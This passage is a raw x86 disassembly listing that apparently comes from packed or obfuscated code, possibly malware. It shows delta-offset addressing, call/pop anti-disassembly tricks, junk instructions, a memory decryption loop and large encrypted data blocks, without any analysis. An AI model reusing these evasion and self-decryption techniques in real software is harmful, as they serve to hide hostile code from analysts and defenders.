[ebp+7E92659h], 0 pusha mov [ebp+7E91D91h], ecx mov [ebp+7E90F1Dh], ebx popa popa jmp locret_587C90 ; --------------------------------------------------------------------------- db 6Eh, 2, 90h dd 0EEDC47DDh ; --------------------------------------------------------------------------- locret_587C90: ; CODE XREF: sub_5877B0+4D4j retn 8 ; --------------------------------------------------------------------------- cld pusha xor [ebp+7E90AC9h], edi mov [ebp+7E92B0Dh], ecx popa xchg eax, esi pusha jmp loc_587CBB ; --------------------------------------------------------------------------- db 0F3h, 23h, 0B8h dd 6692CD4h, 0A20792B7h, 9C8AA9F1h db 0B8h, 67h, 2 ; --------------------------------------------------------------------------- loc_587CBB: ; CODE XREF: sub_5877B0+4F4j push edx jo $+6 pop edi popa push eax jnz loc_587CD3 jge loc_587CD3 pusha popa loc_587CD3: ; CODE XREF: sub_5877B0+515j ; sub_5877B0+51Bj xchg eax, esi mov [ebp+7E93441h], ecx mov [ebp+7E940DEh], esi cmc mov [ebp+7E94105h], ecx jg loc_587CF9 jnz loc_587CF9 mov [ebp+7E9019Dh], edi loc_587CF9: ; CODE XREF: sub_5877B0+537j ; sub_5877B0+53Dj lea esi, [ebp+7E93F7Dh] cmc lea eax, dword_5B8EA1[ebp] jmp loc_587D1D ; --------------------------------------------------------------------------- db 55h dd 9BE2309Eh, 0E8A65E18h, 1AF1F513h, 8506D78Fh ; --------------------------------------------------------------------------- sti loc_587D1D: ; CODE XREF: sub_5877B0+556j cmc call eax pusha mov esi, [ebp+7E92631h] stc popa pop esi mov [ebp+7E91965h], edx retn ; --------------------------------------------------------------------------- db 89h, 9Dh, 85h dd 8B07E901h, 0E940DEB5h, 8D8BF507h, 7E94105h, 78A0Fh dd 8E0F0000h, 1, 0E9C02BF9h, 0Bh, 918A7CB0h, 4206BAA4h dd 60B4899Fh, 0E961EB80h, 0Bh, 8FD7DE8Dh, 0A23D6B4Ah, 61418C3Fh dd 9E9D98Bh, 0B0000000h, 65C01F5Ah, 78A2CCB9h, 0D2B70F60h dd 0F0E961F5h, 60000000h, 0FE8h, 8501F00h, 94F10737h, 0BA6531Ch dd 572551D4h, 5BD0BF0Fh, 10E860h, 0CA330000h, 922ECE5h dd 7FD65187h, 5DFFF349h, 3358045Bh, 0E910799Dh, 32616107h dd 13E926h, 0B16B0000h, 0EDFC08AFh, 0A57A7A61h, 8248D4B4h dd 94DDF7A8h, 8902B218h, 0E924998Dh, 0F0816007h, 0D85BEF8h dd 299D8Bh, 0E96107E9h, 61h, 5E860h, 2C6D0000h, 898E2030h dd 0E9310D9Dh, 0BD295F07h, 7E9220Dh, 0E5958961h, 3207E92Ah dd 7A05F8C2h, 0F58A751Dh, 9529CC8Ah, 7E921C9h, 0B589C8D3h dd 7E9249Dh, 0D1084235h, 8A0F6098h, 6, 1069858Bh, 16007E9h dd 0E9003185h, 0FE616107h, 68C0FCAh, 89000000h, 0E90B2D95h dd 0FD20A07h, 0FFFFB685h, 0F54BF9FFh, 11E946h, 0BE000000h dd 8A23C21h, 40130599h, 4266007h, 0BEA5113h, 40850FDBh dd 89FFFFFFh, 0E915DD95h, 0B589CF07h, 7E925E1h, 12E90000h dd 0EF000000h, 8609E39Dh, 0FCB87B85h, 85AC6FBDh, 26FF339h dd 0F000047h, 68Fh, 0CD850100h, 7E92Ch, 0FC00h, 24C58D09h db 0E9h, 7 ; --------------------------------------------------------------------------- loc_587ECA: ; CODE XREF: sub_5877B0:loc_58785Dj lea eax, [ebp+7E93ABCh] pusha push edx mov ebx, esi pop edi popa mov [ebp+7E90A8Dh], eax sub [ebp+7E92A71h], edx lea eax, [ebp+7E93EE8h] sub [ebp+7E91DDDh], esi mov [ebp+7E90AFDh], eax call sub_587F00 xor bh, [ecx] inc edx or [ecx], bh cwde into sub_5877B0 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_587F00 proc near ; CODE XREF: sub_5877B0+744p mov bx, 64E4h pop edi sbb si, 582Eh add edi, 5D8Ch call sub_587F1D jecxz short loc_587F3E db 3Eh dec edi xchg eax, edx iret sub_587F00 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0F4h db 29h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_587F1D proc near ; CODE XREF: sub_587F00+10p jmp sub_587F2A sub_587F1D endp ; --------------------------------------------------------------------------- dw 0B196h dd 0F8267C6Ch ; --------------------------------------------------------------------------- pop eax lodsb ; =============== S U B R O U T I N E ======================================= sub_587F2A proc near ; CODE XREF: sub_587F1Dj pop esi push 172Fh call sub_587F3F clc sal ebx, 1 pop es cmp eax, 0A9A7CDA6h loc_587F3E: ; CODE XREF: sub_587F00+15j push eax sub_587F2A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_587F3F proc near ; CODE XREF: sub_587F2A+6p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00588130 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00588B09 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0058B4E0 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0058B694 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005B045B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 005B04BB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 005B0DCA SIZE 00000009 BYTES push edx mov [ebp+7E91C41h], ebx pop ebx pop ebx pop eax jle loc_587F55 mov ebx, [ebp+7E90C19h] loc_587F55: ; CODE XREF: sub_587F3F+Aj ; sub_587F3F+7Dj mov ecx, [edi] and si, 8B28h xor ecx, 60B3683Dh pusha mov esi, [ebp+7E91DCDh] js loc_587F75 mov [ebp+7E911B5h], edx loc_587F75: ; CODE XREF: sub_587F3F+2Aj popa sub ecx, 2B5215C5h clc sub ecx, 1EBEA1C9h mov [ebp+7E90779h], ebx push ecx add si, 0F0B0h pop dword ptr [edi] sub edi, 4 sub [ebp+7E9127Dh], eax sub eax, 1 jnz loc_587FB6 or [ebp+7E90035h], esi jmp loc_587FCD ; --------------------------------------------------------------------------- dw 0B388h dd 9E666597h db 43h, 0C6h ; --------------------------------------------------------------------------- loc_587FB6: ; CODE XREF: sub_587F3F+5Ej mov ebx, [ebp+7E92EE9h] jmp loc_587F55 ; --------------------------------------------------------------------------- db 9Bh, 9Fh, 68h dd 0FD108B93h, 881287F4h db 0B8h ; --------------------------------------------------------------------------- loc_587FCD: ; CODE XREF: sub_587F3F+6Aj jmp short loc_587FE3 ; --------------------------------------------------------------------------- align 10h dd 3 dup(0) dd 0E4000000h db 3 dup(0) ; --------------------------------------------------------------------------- loc_587FE3: ; CODE XREF: sub_587F3F:loc_587FCDj lea eax, [ebp+7E942E0h] mov [ebp+7E920A1h], eax cmp dword ptr [ebp+7E94221h], 0 jz loc_588130 mov byte ptr [ebp+7E92659h], 56h push 0ADB0C735h xor [esp-4+arg_0], 79AFAA0Ch push dword ptr [ebp+7E92669h] lea eax, [ebp+7E93ABCh] call eax mov [ebp+7E94215h], eax mov byte ptr [ebp+7E92659h], 56h call near ptr loc_588030+3 push edx loc_588030: ; CODE XREF: sub_587F3F+EBp mov eax, 8B509CA8h sub_587F3F endp ; sp-analysis failed inc esp and al, 4 mov eax, [eax] mov [esp+4], eax pop eax push dword ptr [ebp+7E92669h] lea eax, [ebp+7E93ABCh] call eax mov [ebp+7E94219h], eax push 4 push 0A4EBD615h add dword ptr [esp], 5B1439EBh mov eax, [ebp+7E94225h] add eax, 1F4h shl eax, 2 nop push eax nop push 0 call dword ptr [ebp+7E94219h] mov [ebp+7E9421Dh], eax mov ebx, eax mov eax, 0FFFFFFFFh call dword ptr [ebp+7E920A1h] mov eax, ebx call dword ptr [ebp+7E920A1h] jmp loc_588130 ; --------------------------------------------------------------------------- cmp dword ptr [ebp+7E94221h], 0 jnz loc_5880A8 retn ; --------------------------------------------------------------------------- loc_5880A8: ; CODE XREF: sdfs____:005880A1j push edi mov edi, [ebp+7E9421Dh] stosd add dword ptr [ebp+7E9421Dh], 4 pop edi retn ; --------------------------------------------------------------------------- cmp dword ptr [ebp+7E94221h], 0 jnz loc_5880C7 retn ; --------------------------------------------------------------------------- loc_5880C7: ; CODE XREF: sdfs____:005880C0j pusha sub dword ptr [ebp+7E9421Dh], 4 loc_5880CF: ; CODE XREF: sdfs____:loc_58812Bj mov ebx, [ebp+7E9421Dh] cmp dword ptr [ebx-4], 0FFFFFFFFh jnz loc_588105 call near ptr loc_5880E4+4 loc_5880E4: ; CODE XREF: sdfs____:005880DFp add [eax-74B00000h], al inc esp and al, 4 mov eax, [eax] mov [esp+4], eax pop eax push 0 push dword ptr [ebx] call dword ptr [ebp+7E94215h] popa retn ; --------------------------------------------------------------------------- jmp loc_58812B ; --------------------------------------------------------------------------- loc_588105: ; CODE XREF: sdfs____:005880D9j call near ptr loc_58810A+4 loc_58810A: ; CODE XREF: sdfs____:loc_588105p add [eax-74B00000h], al inc esp and al, 4 mov eax, [eax] mov [esp+4], eax pop eax push 0 push dword ptr [ebx] call dword ptr [ebp+7E94215h] sub dword ptr [ebp+7E9421Dh], 4 loc_58812B: ; CODE XREF: sdfs____:00588100j jmp loc_5880CF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_587F3F loc_588130: ; CODE XREF: sub_587F3F+B7j ; sdfs____:00588095j dec eax jmp loc_588B09 ; END OF FUNCTION CHUNK FOR sub_587F3F ; --------------------------------------------------------------------------- dw 0DA05h dd 3BD602EDh, 0E06C7159h, 9998C1B0h, 0AAFD1E0Fh, 0BA991D82h dd 59158281h, 0DD12BDBEh, 0FC5805B7h, 79DD0FEDh, 0F77E7955h dd 8B8992E2h, 0E1F25B08h, 0B0E97EEDh, 5808968Bh, 0DD12EFB2h dd 0FF5703B5h, 79C70FEDh, 0E864644Ah, 95958CE2h, 0EFE64C13h dd 0FCDD1D86h, 4908929Ch, 9313BDFFh, 0E94303A0h, 36C116EDh dd 0E86A644Bh, 0ECh, 62h dup(0) dd 0DA050000h, 37DC0BEDh, 0F7646245h, 978291E2h, 0A2FE4C1Bh dd 0AFD81BC7h, 581E95CEh, 0DC01EFF0h, 0BB5202ACh, 37DD13BFh dd 0A56C7845h, 81D08FABh, 0EFED4B13h, 0A8CA0A94h, 37559A8Bh dd 0D60B9F93h, 0B7531FB8h, 35DD13EDh, 0A56F7743h, 9ED095ABh dd 0EFF2510Eh, 0B3D4168Ah, 5C5B8E9Ch, 0C147ABF0h, 0FA421FBCh dd 209312BFh, 0A5796343h, 9F9F93B2h, 0E1F25F0Eh, 48h dup(0) dd 0DA050000h, 38C105EDh, 0F76E7D4Fh, 8CD092E5h, 0EFF35113h dd 0FCCA128Fh, 531E928Ch, 0C608A9BEh, 0E91608B7h, 30DD08B8h dd 0EC2B7142h, 9789C1ACh, 0BCBF4C09h, 0B9CD009Eh, 3071D983h dd 0D202A3CEh, 0BB1A09AAh, 36DF08B8h, 0EC2B724Dh, 8A96C1B6h dd 0A2BF5313h, 0AED61E82h, 531AD797h, 0D615EFFAh, 0E95718AAh dd 36CA46B9h, 0F52B6459h, 8A978EB0h, 0B1531Dh, 61h dup(0) dd 0DD050000h, 79D60AA4h, 0F779794Fh, 9D8491B7h, 0EFB11F18h dd 0AFD01BB3h, 520987CEh, 0DE06BDF9h, 0E85704F9h, 3CD604EDh dd 0E4663642h, 8D8088ACh, 0AAEB5F10h, 0B2D85383h, 5C16D78Ah dd 0B902ADE7h, 0BC4205D4h, 37DA46BEh, 0F168734Ah, 9AD085A7h dd 0EFFE1E05h, 0A9CB1AB1h, 4F14D79Dh, 0D215ACBEh, 0FF5307BAh dd 31E746E3h, 0E32B6545h, 0D8958DABh, 0E8F1510Bh, 0B3CE5393h dd 5C5B9C9Ch, 0DC0AB6F0h, 1809ABh, 0E0h dup(0) dd 4C570000h, 446D754Eh, 50734C4Ch, 746F72h, 30h, 8 dup(0) aExitStatusD db 'Exit Status = %d',0 align 4 dd 0 db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_587F3F loc_588B09: ; CODE XREF: sub_587F3F+1F2j jmp loc_58B4E0 ; END OF FUNCTION CHUNK FOR sub_587F3F ; --------------------------------------------------------------------------- mov ebx, [ebp+7E91EE5h] cld or edx, 3BFC4331h mov eax, eax pusha popa cmp dword ptr [ebp+7E918A5h], 0 jnz short loc_588B31 cmp dword ptr [ebp+7E91A45h], 0 jz short loc_588B44 loc_588B31: ; CODE XREF: sdfs____:00588B26j push eax push ebx mov eax, eax mov eax, 1 lea ebx, [ebp+7EBD670h] call ebx ; _iob pop ebx pop eax loc_588B44: ; CODE XREF: sdfs____:00588B2Fj cmp dword ptr [ebp+7E91A45h], 0 jz short loc_588B5E push eax push ebx mov eax, 1 lea ebx, [ebp+7EBD521h] call ebx ; _iob pop ebx pop eax loc_588B5E: ; CODE XREF: sdfs____:00588B4Bj push ebx jmp loc_588B6C ; --------------------------------------------------------------------------- dd 89B9C898h, 1DE0BBDEh ; --------------------------------------------------------------------------- loc_588B6C: ; CODE XREF: sdfs____:00588B5Fj pop ebx push 0 push eax call sub_588B78 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_588B78 proc near ; CODE XREF: sdfs____:00588B70p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Dh inc eax push eax retn sub_588B78 endp ; --------------------------------------------------------------------------- dd 0BAC55451h, 5E53D47Dh, 0F2801A0Fh, 6AC08B01h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h dd 2F3DC351h, 0F9A1857h, 65B53126h, 8907E91Ch, 0E91EFDBDh dd 1BD8307h, 7E90Ch, 1CD840Fh, 9D030000h, 7E91B45h, 2F659D8Bh dd 0BD8307E9h, 7E90999h, 0B4840F00h, 8B000001h, 0E91CA995h dd 0BF0F6007h, 99858BD1h, 6607E909h, 2C97E281h, 3E805h dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h dd 0C3504000h, 39DC68C2h, 6A52B1C4h, 0B2422BBh, 0A3B7900Ch dd 7E85650h, 0E9000000h, 7CBCDA8Eh, 9E90616h, 0DD000000h dd 0C62E3603h, 6483EC34h, 6A905B5Ah, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 437DC356h dd 4EB6D26Fh, 4D36858Dh, 9D3107E9h, 7E925C5h, 5093B790h dd 7995BF60h, 9EB361FFh, 0BE99061h, 0D0000000h, 0E2DB1458h dd 716CF4E4h, 858DB901h, 7E94D14h, 38F0F51h, 0F000000h dd 905BD3B7h, 66515250h, 0F5BD08Bh, 0AE931h, 546F0000h dd 8BFA5B4Bh, 0BECAE279h, 6650585Ah, 90CA76BAh, 2858D29h dd 95FF07E9h, 7E90AD5h, 2F4D9523h, 0C48307E9h, 52006A0Ch dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h dd 2B84343Eh, 0D9D8B3Eh, 8D07E90Fh, 0E94D1485h, 799D8B07h dd 5007E91Ch, 0C880Fh, 8C0F0000h, 6, 310F5250h, 489585Ah dd 52006A24h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h dd 0C3524200h, 91548D64h, 0D2976ACEh, 0BF0F8D8Eh, 8B026AD3h dd 1495FFDAh, 6A006AEDh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 18042444h, 42000000h, 904EC352h, 66E43BA9h dd 0E861D98Bh, 0Fh, 2D486519h, 50B09A8Bh, 345F8673h, 8B93F877h dd 0E9169D9Dh, 81665A07h, 0C78018EAh, 0E94D4785h, 107h dd 9D095700h, 7E90A2Dh, 0BB66965Bh, 6050A2FAh, 5F616057h dd 61DE8B66h, 55006A96h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1904h, 0C3554500h, 14A43B69h, 0E9FC7337h, 0Ah, 0D8094D0Bh dd 3CDF60D6h, 0D4BBD640h, 890999AEh, 0E94CF8B5h, 0D9BF0F07h dd 1B69BD83h, 0F0107E9h, 4485h, 6880F00h, 89000000h, 0E92EB9BDh dd 5F88307h, 2F850Fh, 0F3810000h, 33435D1Ch, 0B8F9h, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h dd 9C0363C3h, 1739A1A3h, 15BD834Ah, 7E91Ah, 1A840Fh, 85010000h dd 7E91509h, 79850960h, 0FF07E910h, 0E91A1595h, 8D8D2907h dd 6107E918h, 0B1DBD83h, 0F0007E9h, 1084h, 0F2816600h dd 0B859D7h, 3000000h, 0E90A859Dh, 89606007h, 0E91BB1B5h dd 6880F07h, 9000000h, 0E91C61B5h, 0F7806107h, 75858BB3h dd 6A07E908h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1A042444h, 41000000h, 0CA87C351h, 69331021h, 7D9D2B93h dd 8907E90Fh, 0E907F9B5h, 2C08307h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 18h, 86C35343h, 28EC2B22h, 12759589h dd 0BB6607E9h, 8589CCF6h, 7E94CF0h, 1FF28166h, 0FF00C660h dd 11E8h, 16175500h, 2BED2EBFh, 6F5EB301h, 4EC3A787h, 0AE91435h dd 8A000000h, 19D1BE30h, 67FCFA12h, 85C65AD6h, 7E92659h dd 998D2953h, 8B07E92Ah, 0E919CD95h, 0FF686807h, 830FB811h dd 8, 2800Fh, 5BB60000h, 70240481h, 2B449F49h, 0E9266D95h dd 10E95107h, 43000000h, 0F77F642Dh, 88670EAAh, 40D4EC77h dd 5AB5D8FEh, 0B11B5FFh, 8DF907E9h, 0EC9FDB85h, 0F505307h dd 85h, 0FF5B5A00h, 0CE9D0h, 0B9640000h, 47A9E4ADh, 36D9F028h dd 85892FB4h, 7E90C31h, 17F9958Bh, 0BD8307E9h, 7E92625h dd 9E850F01h, 66000000h, 96F4EA81h, 659D3161h, 0C607E911h dd 0E9265985h, 958B4507h, 7E90075h, 3F027668h, 6E9CAh dd 0A7390000h, 2D5E41D5h, 4C240481h, 66102136h, 0B5FFDF8Bh dd 7E90B11h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Ah, 0F6C35343h, 7D9EB87Dh, 0DF8B09D0h, 9FDB858Dh, 858907ECh dd 7E9258Dh, 6AD0FFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1C0424h, 57470000h, 19A9CEC3h, 0CA8E59BAh, 6A2872h dd 19198509h, 0D0FF07E9h, 2CEA8166h, 0CDBD8351h, 107E925h dd 124850Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 150424h, 56460000h, 8BD203C3h, 0E92AC59Dh, 75858B07h dd 0B307E908h, 6DE914h, 28BB0000h, 503DAE04h, 19800F60h dd 0E9000000h, 14h, 5D639F9Ch, 41F204D7h, 1D343D5Dh, 604D4099h dd 0ECD80FECh, 58B0Fh, 0CFBE0000h, 6176647Eh, 66240489h dd 0ECFEF381h, 0B529146Ah, 7E91199h, 0C3195FFh, 0BB6607E9h dd 6A58C38Bh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 18042444h, 46000000h, 4AC356h, 808BDD6Ch, 850F0038h dd 0FFFFFF8Fh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 18h, 0D2C35242h, 2C8061B3h, 2AB99D01h, 6E807E9h, 0B9000000h dd 0E61B9B0h, 0D28160ECh, 2C038106h, 11E8h, 0D1B63F00h dd 0C9B553C1h, 0AA0E771Ah, 8DC94E4Fh, 615E8EE7h, 100C65Ah dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0A8C35040h dd 81E06F61h, 0B22E2AA4h, 1BB99D8Bh, 0E86107E9h, 7, 62449EC1h dd 60A7F198h, 8D0Fh, 850F0000h, 0 ; --------------------------------------------------------------------------- popa pop edx cmp dword ptr [ebp+7E92419h], 0 jz loc_589225 sbb dl, 0D8h loc_5891CA: ; CODE XREF: sdfs____:005891FAj push 0FFFFFFFFh movsx edx, di call dword ptr [ebp+7E90C31h] push 0 push ebx call sub_5891E0 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5891E0 proc near ; CODE XREF: sdfs____:005891D8p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 17h inc ebx push ebx retn sub_5891E0 endp ; --------------------------------------------------------------------------- xor al, 35h xor dl, [edx-77h] test [ecx], ecx add ch, cl pop es jmp loc_5891CA ; --------------------------------------------------------------------------- push 0 push esi call sub_58920A and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58920A proc near ; CODE XREF: sdfs____:00589202p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 18h inc esi push esi retn sub_58920A endp ; --------------------------------------------------------------------------- pop ecx mov al, ds:0FED45A3h mov edi, 0D18B66DEh loc_589225: ; CODE XREF: sdfs____:005891C1j mov dword ptr [ebp+7E92419h], 1 xor [ebp+7E91CEDh], eax mov [ebp+7E94CFCh], eax mov ebx, [ebp+7E9300Dh] push eax mov bx, si mov [esp], eax mov edx, ebx xor ebx, [ebp+7E919C9h] pusha movsx ebx, cx push 5 push 0 push eax call sub_589261 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_589261 proc near ; CODE XREF: sdfs____:00589259p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Bh inc eax push eax retn sub_589261 endp ; --------------------------------------------------------------------------- mov dh, [eax+59h] inc esp daa mov [esp+ecx*8], ebp mov [ebp+7E90DBDh], eax jle loc_58928B sub ebx, [ebp+7E92CC5h] loc_58928B: ; CODE XREF: sdfs____:0058927Fj lea eax, [ebp+7E94D14h] jmp loc_5892A1 ; --------------------------------------------------------------------------- dw 8092h dd 0B6AA8F37h, 507D1E96h db 0C6h ; --------------------------------------------------------------------------- loc_5892A1: ; CODE XREF: sdfs____:00589291j push eax mov bh, 1 mov [esp], eax add edx, 3AE66B4Eh mov edx, eax lea eax, [ebp+7E94D04h] mov ebx, 6645338Bh nop mov bx, si push eax jmp loc_5892CD ; --------------------------------------------------------------------------- dd 116916Ch, 4A0078F0h db 86h ; --------------------------------------------------------------------------- loc_5892CD: ; CODE XREF: sdfs____:005892BFj nop movsx ebx, ax call dword ptr [ebp+7E900CDh] mov ebx, 471B8262h lea ecx, [ebp+7E976D1h] jmp loc_5892ED ; --------------------------------------------------------------------------- db 0D1h dd 67E84A7Ah db 0B2h ; --------------------------------------------------------------------------- loc_5892ED: ; CODE XREF: sdfs____:005892E2j or eax, eax jz short loc_589302 lea eax, [ebp+7E94D14h] push eax call ecx mov [ebp+7E94D32h], eax jmp short loc_58930C ; --------------------------------------------------------------------------- loc_589302: ; CODE XREF: sdfs____:005892EFj mov dword ptr [ebp+7E94D32h], 0FFFFFFFFh loc_58930C: ; CODE XREF: sdfs____:00589300j push 0 push ebp call sub_589317 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_589317 proc near ; CODE XREF: sdfs____:0058930Fp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ah inc ebp push ebp retn sub_589317 endp ; --------------------------------------------------------------------------- db 2Eh dd 6329EBE8h, 0B70F2D07h, 0FE9DAh, 30C50000h, 0AEAFA723h dd 72CE29CCh, 0E1C98A64h, 6A6108h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1D0424h, 52420000h, 383F2EC3h, 0D0DBB27Eh dd 89EF9BE7h, 0E908F595h, 5985C607h, 4D07E926h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0C35545h, 7C9E6974h dd 83121768h, 28A0F91h, 0B6000000h, 240481AAh, 12B26491h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0E1C35242h dd 5BB830B4h, 9FBA6611h, 2820FC7h, 50000000h, 15B5FF5Ah dd 0BA07E901h, 1AC95EFCh, 9FDB858Dh, 0DA8B07ECh, 0D281D0FFh dd 224F264Dh, 18C58589h, 950307E9h, 7E91E09h, 265985C6h dd 0B4507E9h, 0E90D9D95h, 0DA096807h, 0AABB91E2h, 815E56A2h dd 0B3602434h, 85891F90h, 7E923C9h, 0B11B5FFh, 6A07E9h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h dd 66674CC3h, 0FE3CFD08h, 816620BCh, 8D0E11EBh, 0EC9FDB85h dd 258D8907h, 0FF07E935h, 0E5958BD0h, 8907E90Fh, 0E9138D85h dd 56006A07h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h dd 0C3564600h, 0B3120845h, 8BDCB721h, 51006AD2h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h dd 397E6189h, 74DC3586h, 0DE9D5h, 0BC810000h, 3176A44Dh dd 23151B83h, 66EAABBAh, 9D8BD98Ch, 7E9227Dh, 0F04C1F6h dd 17884h, 3850F00h, 0F000000h, 0D8E9D0B7h, 0F000000h dd 68Eh, 0E5B58900h, 8B07E917h, 0E90905B5h, 0CA816607h dd 0C681A3FDh, 1180h, 0FDBB70Fh, 0BD83D7BFh, 7E926A9h dd 13850F00h, 31000000h, 0E91E719Dh, 15958B07h, 0E907E90Eh dd 8Bh, 3E838EB2h, 80840F00h, 0BA000000h, 65F9CFC3h, 8E9h dd 1434CE00h, 0ED52F287h, 16BB6067h, 6A1708DCh, 0E9958B14h dd 8107E90Dh, 0EE612CE3h, 3195FF7Bh, 0B707E90Ch, 6A61C4h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h dd 830398C3h, 0FFFFA5E9h, 51006AFFh, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1404h, 0C3514100h, 0DE904h, 0C2530000h dd 6EDFC278h, 2DFCC8E5h, 0C77354D7h, 106h, 0D5B58900h dd 8307E911h, 0E94CFCBDh, 850F0507h, 85h, 0F0D28166h, 8DB58B0Eh dd 8B07E913h, 64B9D7h, 9D090000h, 7E90261h, 31059D8Bh dd 3E8007E9h, 0A840FE8h, 0E9000000h, 12h, 8B66D38Bh, 57E80D0h dd 3F840FC2h, 0F000000h, 0B646D3B7h, 850F49F7h, 0FFFFFFD6h dd 11E860h, 0AF930000h, 54B2A13Ah, 0D82538ACh, 58119882h dd 31773E1Fh, 0E90FBD9Dh, 0F605807h, 82h, 2CB96600h, 0E96161CDh dd 0Dh, 0B589DE8Ah, 7E91245h, 2EC252BBh, 99BB5831h, 83087A4Bh dd 0E90731BDh, 840F0007h, 103h, 11A59D8Bh, 816607E9h, 60C3AED3h dd 295060F9h, 0E921B9B5h, 9D095B07h, 7E91BE1h, 5985C661h dd 5407E926h, 0AE8h, 0DD133000h, 5E4E4AD8h, 66311D1Ch dd 5AFEDEBBh, 64F66468h, 0CE9D0h, 0DDDF0000h, 9AC5744Ch dd 5E68C42Ah, 3481A2B6h, 2A489024h, 53006A2Fh, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 0C21F4CAEh dd 0FBFBDCCh, 0B5FF0475h, 7E90B11h, 0DDBD8B60h, 8107E90Ch dd 9265BC2h, 6E9617Bh, 85000000h, 0C85ADBACh, 0DB858DEBh dd 6607EC9Fh, 58FBDB81h, 6AD0FFh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1A0424h, 51410000h, 892F8FC3h, 6F99B2A4h dd 61F98B60h, 1BD19D89h, 6A07E9h, 7E960h, 489B0000h, 30EB0133h dd 0ADBD8BE9h, 6107E91Ah, 731B5FFh, 0BD3107E9h, 7E91CC5h dd 958BD0FFh, 7E91D19h, 0F1950961h, 0C707E911h, 0E91C2D85h dd 107h, 60D78B00h, 9AFBF281h, 0A86831AAh, 50C6DF3Ch, 8A310F52h dd 81585AFEh, 0C3D82404h, 6A3920h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1D0424h, 55450000h, 2A0B0CC3h, 8480C98Bh dd 8B1EC877h, 0E903199Dh, 8BFF6A07h, 0E90A459Dh, 1595FF07h dd 6607E90Ch, 0C23DEA81h, 53006A61h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 8224C287h dd 0B0B931ECh, 219D23B9h, 9007E922h, 0B587BA66h, 850F6050h dd 4, 0F92DBF66h, 109DBE52h, 615A437Eh, 6D958B90h, 8B07E91Bh dd 0E91EF185h, 12E95207h, 0E6000000h, 74CE5304h, 4E0BD00Fh dd 12B68E4Dh, 0CF60E681h, 0C00B5AD2h, 57840Fh, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h dd 241D61C3h, 0C25EDC97h, 0DA8B7ED5h, 18CD95FFh, 6A07E9h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h dd 0D9ECEAC3h, 0CDBC012Ah, 92BE380h, 0E90FA59Dh, 0E985C707h dd 107E923h, 8A000000h, 85BD83D1h, 7E910h, 0B840Fh, 95FF0000h dd 7E91559h, 4B1313BAh, 0F5BD8357h, 7E92Ah, 2F840Fh, 0B70F0000h dd 4195FFD3h, 6A07E926h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1C042444h, 46000000h, 8448C356h, 39B6D77Fh dd 0B7E7B40Eh, 0D1BD83EAh, 7E91Dh, 3A840Fh, 8B570000h dd 0BD835AD6h, 7E909A9h, 29850F00h, 81000000h, 0CA94E0CBh dd 0E995FF3Bh, 0E807E914h, 11h, 86627234h, 0B8D62068h dd 622B7811h, 9D46F645h, 0F58D89F4h, 5B07E921h, 317DBD83h dd 0F0007E9h, 3D84h, 81B4B200h, 0E911F985h, 400307h, 7E800h dd 3A1B0000h, 15707605h, 